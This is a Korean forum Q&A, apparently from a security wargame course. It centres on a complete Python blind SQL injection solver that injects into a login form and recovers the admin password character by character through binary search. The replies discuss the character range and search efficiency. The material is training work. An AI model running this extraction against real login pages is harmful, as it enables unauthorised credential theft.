blind_sql_injection 강의코드 이해안되는 부분 질문드립니다.
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin


class Solver:
    """Solver for simple_SQLi challenge"""

    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")

    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {"userid": userid, "userpassword": userpassword}
        resp = requests.post(self._login_url, data=login_data)
        return resp

    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f'" or {query}-- ', "hi")
        return resp

    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low + high) // 2
            if low + 1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid

    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len

    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ""
        for idx in range(1, pw_len + 1):
            query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
            print(f"{idx}. {pw}")
        return pw

    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")


if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

blind sql injection으로 푸는 강의에서 비밀번호 길이를 알아낸 후, 비밀번호 자체를 알아내는 코드입니다. 여기서 질문입니다.

  1. pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
    여기서 범위가 왜 0x2F(/)부터 0X7E(~)까지 인가요?
    app.py에서 userpassword에 binascii.hexlify(os.urandom(16)).decode("utf8")) 이런 식으로 넣어줬는데, 그렇다면 16진수 문자열은 0-9의 숫자와 a-f의 소문자 알파벳만을 포함합니다. 쓸데없이 포함하지 않아도 되는 대문자 알파벳 범위(0x41~0x5A)도 포함하게 됩니다.
    또, 굳이 시작하면 0x30(0)부터 시작하면 되는거 아닌가요?

  2. 이렇게 필요없는 범위가 들어가있을 때는 이진탐색보다 전체를 다 탐색하는게 더 효율적일 수 있지 않을까요? 16개 문자열만 탐색하면 되는데 범위가 지나치게 넓은 것 같습니다.

  3. image.png

#sql_injection #sql #injection #blind_sql_injection #simple_sqli #blind
작성자 정보
답변 1

안녕하세요~!

  1. 현재 문제 소스코드에서는 admin의 패스워드가 binascii.hexlify(os.urandom(16)).decode("utf8") 로 총 32자로 이루어져있고, 문자의 범위는 0~f 입니다. 따라서 작성자님의 말씀대로 해당 문제에서는 0~f까지의 문자만 이용해서 blind SQLI를 해주시면 됩니다. 하지만 admin의 패스워드가 몇 자인지 문자의 구성은 어떻게 되는지 대한 정보를 주지 않는 문제도 있고 공격하고자 하는 환경이 블랙박스 환경일 수 도 있습니다. 그럴 때는 human readable한 문자(?) 즉, 일반적으로 패스워드로 쓰일 수 있는 모든 문자 0x20(공백) 부터 0x7E까지 포함시켜야 안정적으로 익스플로잇 코드가 동작할 것입니다. 해당 강의 자료의 익스플로잇 코드는 그런 상황까지 염두한 것 같습니다.

  1. 전체를 다 탐색하는 경우(선형탐색) 시간 복잡도는 O(n) 이 되고, 이진 탐색의 경우 O(log n)이 됩니다. 위와 같이 필요없는 부분을 제외하고 돌렸을 때 선형 탐색의 경우 O(16), 이진탐색의 경우 O(log 16) = O(4)가 됩니다. 필요없는 부분을 제외 하더라도 이진탐색을 할 때가 더 효율적이라고 할 수 있겠네요. 물론 운 좋게 한 번의 탐색으로 패스워드의 들어가는 문자를 찾을 수 있으면 O(1)로 훨씬 빠르게 찾을 수 있지만 이런 경우는 정말 예외적인 경우이기 때문에 일반적으로는 이진탐색을 하는 것이 효율적입니다!

image.png

2024.01.19. 18:20
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기